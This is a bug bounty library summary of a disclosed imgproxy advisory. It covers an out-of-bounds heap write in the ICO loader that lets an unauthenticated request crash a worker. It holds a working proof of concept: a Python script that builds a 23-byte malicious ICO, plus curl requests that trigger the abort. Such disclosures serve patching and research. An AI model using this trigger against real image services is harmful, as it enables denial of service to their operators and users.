# imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash

imgproxy's ICO loader reconstructs a BMP header using unvalidated BITMAPINFOHEADER fields, writing past a tiny heap buffer and crashing the worker via glibc munmap_chunk abort.

- Payout: Research
- Severity: high
- Program: imgproxy
- Found by: haileyok
- Disclosed: 2026-10-30
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-494m-4556-wf5p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-494m-4556-wf5p
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:go technique:source-review vuln:dos vuln:memory-corruption

**Target:** ICO image loader in vips/icoload.c (vips_foreign_load_ico_header)
**Root cause:** The ICO loader reads BITMAPINFOHEADER fields (num_colors at +32, bpp at +14, height at +8) from the entry's image data buffer without validating that data_size is large enough, then writes a reconstructed BMP header in front of/into a buffer allocated as data_size+14, landing writes past the allocation.
**Steps:**
1. Craft a 23-byte ICO: header `struct.pack('<HHH',0,1,1)`, one entry `struct.pack('<BBBBHHII',16,16,0,0,1,32,1,0x16)` declaring data_size=1, data_offset=0x16, plus one data byte `\xAA`.
2. Serve it to imgproxy with local files enabled: `IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy`.
3. Request `curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"`.
4. Loader allocates data_size+14=15 bytes, reads past it at +8/+14/+32, and writes a height/2-derived 32-bit value at alloc+22..+25, corrupting the next chunk's size field to original_size>>1.
5. Next free() of the victim chunk hits glibc `munmap_chunk(): invalid pointer` → SIGABRT → Go panic, exit code 2.
**How found:** Code review of vips_foreign_load_ico_header: noticed BITMAPINFOHEADER fields (num_colors, bpp, height) are read from actual_data without checking data_size, and the reconstructed-header writes are placed relative to a buffer sized only data_size+14.
**Exploitation:** Unauthenticated attacker submits a crafted ICO via any image-processing endpoint (or local file source). The single 23-byte file triggers the OOB write; the corrupted chunk's free deterministically aborts the worker, so one request kills one worker (DoS).
**Insight:** In image-format loaders, the entry's declared data_size is often trusted while header fields are parsed from the same buffer; check every field offset against the allocation size, and note that a small data_size makes even 'header reconstruction' writes land out of bounds.

## Proof of concept (copied exactly from the original report)

**Python script generating the 23-byte OOB ICO trigger**

```
import struct, hashlib

hdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA'  # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
    '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")
```

**curl request crashing the worker**

```
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
#   HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
#   Go panic dump → exit code 2. One request, one dead worker.

curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)
```

